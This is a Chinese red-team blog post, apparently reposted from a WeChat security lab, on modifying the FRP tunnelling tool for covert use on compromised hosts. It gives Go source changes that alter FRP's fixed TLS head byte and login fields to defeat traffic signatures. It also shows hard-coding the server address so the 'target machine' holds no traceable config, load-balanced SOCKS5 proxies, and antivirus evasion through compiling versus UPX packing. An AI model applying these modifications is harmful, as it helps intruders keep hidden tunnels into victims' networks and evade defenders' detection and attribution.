TLS加密
Frp使用时以明文相互传输,可使用TLS协议来加密传输,在Frpc配置文件中添加如下内容:
tlsenable = true
也可以强制使用TLS,在Frps中配置如下内容:
tlsonly = true
且socks5验证,不使用TLS情况下,明文状态也会暴露账号和密码:
加密后的情况:
传输压缩
有些局域网会进行流量和特征的识别,从而进行拦截,这里可以使用Frp的流量加密和压缩功能,Frpc端进行如下配置:
use_encryption = true
use_compression = true
PS:如果使用了TLS加密,则除XTCP外,不需要再设置 use_encryption。
信息修改
Frp连接时,客户端会发送相关请求到服务端,这些请求内容是固定了,包含了目标机的一些信息,如下图:
上述version等信息字段我们可以进行修改,文件位置在pkg/msg/msg.go中,修改示例如下:
type Login struct {
Version string `json:"vs"`
Hostname string `json:"hn"`
Os string `json:"oos"`
Arch string `json:"ac"`
User string `json:"username"`
PrivilegeKey string `json:"pk"`
Timestamp int64 `json:"ts"`
RunID string `json:"ri"`
Metas map[string]string `json:"m"`
// Some global configures.
PoolCount int `json:"pool_count"`
}
特征修改
Frp为了端口复用,建立TLS连接时第一个字节是固定的0x17,且后面数据包大小为317,流量如下图:
代码位置在pkg/util/net/tls.go,代码中需改的四处已经标上了注释:
package net
import (
"crypto/tls"
"fmt"
"net"
"time"
gnet "github.com/fatedier/golib/net"
)
var (
// FRPTLSHeadByte = 0x17
// 修改后
FRPTLSHeadByte = 0x16
)
func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config, disableCustomTLSHeadByte bool) (out net.Conn) {
if !disableCustomTLSHeadByte {
// c.Write([]byte{byte(FRPTLSHeadByte)})
// 修改后
c.Write([]byte{byte(FRPTLSHeadByte),byte(0x71),byte(0x72)})
}
out = tls.Client(c, tlsConfig)
return
}
func CheckAndEnableTLSServerConnWithTimeout(
c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration,
) (out net.Conn, isTLS bool, custom bool, err error) {
// sc, r := gnet.NewSharedConnSize(c, 2)
// 修改后
sc, r := gnet.NewSharedConnSize(c, 4)
// buf := make([]byte, 1)
buf := make([]byte, 3)
var n int
c.SetReadDeadline(time.Now().Add(timeout))
n, err = r.Read(buf)
c.SetReadDeadline(time.Time{})
if err != nil {
return
}
// if n == 1 && int(buf[0]) == FRPTLSHeadByte {
// 修改后
if n == 3 && int(buf[0]) == FRPTLSHeadByte {
out = tls.Server(c, tlsConfig)
isTLS = true
custom = true
} else if n == 1 && int(buf[0]) == 0x16 {
out = tls.Server(sc, tlsConfig)
isTLS = true
} else {
if tlsOnly {
err = fmt.Errorf("non-TLS connection received on a TlsOnly server")
return
}
out = sc
}
return
}
不一定需要改成上面的0x16,0x71,0x72,这里尝试其它的十六进制也可以,流程也能走通,改完重新编译后包如下:
配置文件
目标机运行客户端加载frpc配置文件时,会包含服务器的地址,泄露敏感信息,容易被溯源,建议隐藏。
网上整理的方法:1,将信息写死到代码中,进行编译。2,使用域前置。3,加载配置文件后自动删除。4,远程加载配置文件等等。
这里看了下把配置信息写到代码中的情况,网上是之前的版本,最新版本有些小改动,尝试了一直没跑起来,所以最后换了个办法。
因为Frpc在不配置地址和端口的情况下,默认是0.0.0.0和7000,所以配置文件我们可以不写,把代码中的默认地址改一下就行,比较省事。
代码位置在pkg/config/client.go中,如下图:
这里改成我服务端的IP172.168.1.16,可以成功连接:
这里可以再尝试一个不存在的IP,比如172.168.111.111,会报错超时,可以发现默认配置是生效的,有向111的地址请求:
负载均衡
负载均衡一定程序也可以算是流量规避,如果内网中流量过大,或者目标机器性能不太好等情况下,更容易引起警觉,相关配置参考:
Frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
kcp_bind_port = 7000
dashboard_port = 7500
dashboard_user = fuzai
dashboard_pwd = fuzai
Frpc.ini 1:
[common]
server_addr = 172.168.1.16
server_port = 7000
protocol = kcp
tls_enable = true
# 这里跟其他的client的不能一样
[plugin_socks5_fuzai1]
type = tcp
remote_port = 6000
plugin = socks5
plugin_user = admin
plugin_passwd = admin
# 启用健康检查,类型为 tcp
health_check_type = tcp
# 建立连接超时时间为 3 秒
health_check_timeout_s = 3
# 连续 3 次检查失败,此 proxy 会被摘除
health_check_max_failed = 3
# 每隔 10 秒进行一次健康检查
health_check_interval_s = 10
# 压缩一下流量吧,反正不差那点cpu占用率,毕竟咱都负载均衡了
use_compression = true
# 负载均衡配置客户组
group = fuzai
group_key = 123456
Frpc.ini 2:
[common]
server_addr = 172.168.1.16
server_port = 7000
protocol = kcp
tls_enable = true
# 这里跟其他的client的不能一样
[plugin_socks5_fuzai2]
type = tcp
remote_port = 6000
plugin = socks5
plugin_user = admin
plugin_passwd = admin
# 启用健康检查,类型为 tcp
health_check_type = tcp
# 建立连接超时时间为 3 秒
health_check_timeout_s = 3
# 连续 3 次检查失败,此 proxy 会被摘除
health_check_max_failed = 3
# 每隔 10 秒进行一次健康检查
health_check_interval_s = 10
# 压缩一下流量吧,反正不差那点cpu占用率,毕竟咱都负载均衡了
use_compression = true
# 负载均衡配置客户组
group = fuzai
group_key = 123456
客户端以此类推就行,主要是pulgin_socks5_fuzaixxx那个名字保证不一样就可以,服务端访问Web查看流量分布基本比较均匀:
服务端日志中也可以看到进行了相互切换:
自己编译
修改代码后,Frp本身提供了交叉编译脚本,直接make就好,所以建议在Linux上操作,相关命令如下:
wget https://golang.org/dl/gox.xx.x.linux-amd64.tar.gz
tar -zxvf gox.xx.x.linux-amd64.tar.gz -C /usr/local/
ln -s /usr/local/go/bin/go /bin/go
vim /etc/profile
export GOROOT=/opt/go
export GOPATH=/home/work/go
export GOBIN=$GOPATH/bin
export PATH=$PATH:$GOROOT/bin:GOBIN
source /etc/profile
go env
go env -w GOPROXY=https://goproxy.cn
cd frp
make -f Makefile.cross-compiles
总结
原生编译出来的Frp可能会比Upx压缩过后的的免杀效果要好,Upx压缩减小大小后,反而报毒的会更多(但国外偏多一点),可参考目标机是什么杀软,再判断是否要进行压缩,或者进行相关手段的免杀处理。
原文始发于微信公众号(aFa攻防实验室):Frp改造
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论